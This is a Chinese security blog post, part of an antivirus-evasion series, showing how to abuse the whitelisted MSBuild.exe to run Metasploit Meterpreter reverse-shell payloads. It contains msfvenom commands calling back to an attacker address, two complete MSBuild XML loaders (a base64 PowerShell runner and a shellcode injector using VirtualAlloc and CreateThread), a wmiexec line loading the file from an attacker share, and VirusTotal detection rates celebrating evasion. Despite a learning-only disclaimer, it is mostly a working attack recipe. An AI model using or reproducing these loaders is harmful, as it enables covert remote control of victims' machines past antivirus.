声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
中间有几篇代码相关的免杀还在完善,先留个位置,所以一下从专题26跳到了专题34。
文章打包下载及相关软件下载:https://github.com/TideSec/BypassAntiVirus
免杀能力一览表
几点说明:
1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。
2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp
模块生成。
3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160
(2020.01.01),火绒版本5.0.34.16
(2020.01.01),360安全卫士12.0.0.2002
(2020.01.01)。
4、其他杀软的检测指标是在virustotal.com
(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀或杀软查杀能力的判断指标。
5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。
一、MSBuild.exe介绍
之前在介绍免杀工具的时候已经介绍过MSBuild.exe,专题19中介绍的nps_payload:https://mp.weixin.qq.com/s/XmSRgRUftMV3nmD1Gk0mvA
,就是生成.xml文件,然后使用msbuild.exe来加载payload。还有专题20提到的GreatSCT:https://mp.weixin.qq.com/s/s9DFRIgpvpE-_MneO0B_FQ
也是可生成MSBuild.exe加载的xml文件。
Microsoft Build Engine是一个用于构建应用程序的平台,此引擎也被称为msbuild,它为项目文件提供一个XML模式,该模式控制构建平台如何处理和构建软件。Visual Studio使用MSBuild,但它不依赖于Visual Studio。通过在项目或解决方案文件中调用msbuild.exe,可以在未安装Visual Studio的环境中编译和生成程序。
说明:Msbuild.exe所在路径没有被系统添加PATH环境变量中,因此,Msbuild命令无法直接在cmd中使用。需要带上路径:C:WindowsMicrosoft.NETFrameworkv4.0.30319
。
适用条件:.NET Framework>=4.0
二、利用MSBuild.exe执行payload法1(VT查杀率4/57)
使用msfvenom生成shellcode,注意生成的是psh格式
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 lport=3333 -f psh -o shell.ps1
然后打开shell.ps1
文件,在文件最后添加一行for (;;){n Start-sleep 60n}
,保存一下。
然后把修改后的shell.ps1
文件内容进行base64编码,可以使用在线平台(比如https://www.sojson.com/base64.html
)也可以使用其他编码工具。
然后把编码后的内容替换到下面代码中cmd =
处,并保存为shell.xml
。
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes c# code. -->
<!-- C:WindowsMicrosoft.NETFramework64v4.0.30319msbuild.exe nps.xml -->
<!-- Original MSBuild Author: Casey Smith, Twitter: @subTee -->
<!-- NPS Created By: Ben Ten, Twitter: @ben0xa -->
<!-- License: BSD 3-Clause -->
<Target Name="npscsharp">
<nps />
</Target>
<UsingTask
TaskName="nps"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:WindowsMicrosoft.NetFrameworkv4.0.30319Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Reference Include="System.Management.Automation" />
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class nps : Task, ITask
{
public override bool Execute()
{
string cmd = "JEFuRUl---base64_shellcode-----xsSW1wb3J0KCJrZXJuZWwzMi5k";
PowerShell ps = PowerShell.Create();
ps.AddScript(Base64Decode(cmd));
Collection<PSObject> output = null;
try
{
output = ps.Invoke();
}
catch(Exception e)
{
Console.WriteLine("Error while executing the script.rn" + e.Message.ToString());
}
if (output != null)
{
foreach (PSObject rtnItem in output)
{
Console.WriteLine(rtnItem.ToString());
}
}
return true;
}
public static string Base64Encode(string text) {
return System.Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(text));
}
public static string Base64Decode(string encodedtext) {
return System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(encodedtext));
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
msbuild.exe加载文件的方式有两种
1. 本地加载执行:
- %windir%Microsoft.NETFrameworkv4.0.30319msbuild.exe <folder_path_here>msbuild_nps.xml
2. 远程文件执行:
wmiexec.py <USER>:'<PASS>'@<RHOST> cmd.exe /c start %windir%Microsoft.NETFrameworkv4.0.30319msbuild.exe \<attackerip><share>msbuild_nps.xml
我这里就用本地加载进行测试,msbuild.exe
在windows中的的一般路径为C:windowsmicrosoft.netframeworkv4.0.30319msbuild.exe
msfconsole监听相应payload和端口,打开杀软进行测试
可正常上线
virustotal.com上shell.xml
查杀率为4/57
三、利用MSBuild.exe执行payload法2(VT查杀率18/58)
这是三好学生大神提供的一种xml代码,源文件见https://raw.githubusercontent.com/3gstudent/msbuild-inline-task/master/executes%20shellcode.xml
需要先通过msfvenom生成C#的shellcode
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.211.55.2 lport=3333 -f csharp
将生成的shellcode替换到下面代码的byte[] shellcode =
处,并将文件保存为shell2.xml。
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes shellcode. -->
<!-- C:WindowsMicrosoft.NETFrameworkv4.0.30319msbuild.exe SimpleTasks.csproj -->
<!-- Save This File And Execute The Above Command -->
<!-- Author: Casey Smith, Twitter: @subTee -->
<!-- License: BSD 3-Clause -->
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:WindowsMicrosoft.NetFrameworkv4.0.30319Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task, ITask
{
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
public override bool Execute()
{
byte[] shellcode = new byte[195] {
0xfc,--shellcode_here--,0x00 };
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
在msf中监听相应端口,在测试机中执行C:windowsmicrosoft.netframeworkv4.0.30319msbuild.exe shell2.xml
msf中可上线
virustotal.com上shell2.xml
查杀率为18/58
侯亮大神的一篇文章还提供了另外一种xml代码:https://micro8.gitbook.io/micro8/contents-1/71-80/71-ji-yu-bai-ming-dan-msbuild.exe-zhi-hang-payload-di-yi-ji
,可以直接对接msf。
virustotal.com上该代码查杀率目前为13/58。
四、参考资料
使用msbuild.exe绕过应用程序白名单(多种方法):https://www.cnblogs.com/backlion/p/10490573.html
MSBuild.exe-bypass application whitelisting:https://pplsec.github.io/2019/03/26/MSBuild.exe-bypass-application-whitelisting/
基于白名单Msbuild.exe执行payload第一季:https://micro8.gitbook.io/micro8/contents-1/71-80/71-ji-yu-bai-ming-dan-msbuild.exe-zhi-hang-payload-di-yi-ji
E
N
D
guān
关
zhù
注
wǒ
我
men
们
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,目前聚集了十多位专业的安全攻防技术研究人员,专注于网络攻防、Web安全、移动终端、安全开发、IoT/物联网/工控安全等方向。
想了解更多Tide安全团队,请关注团队官网: http://www.TideSec.com 或长按二维码关注公众号:
原文始发于微信公众号(白帽子):远控免杀专题(34)-白名单MSBuild.exe执行payload(VT免杀率4-57)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论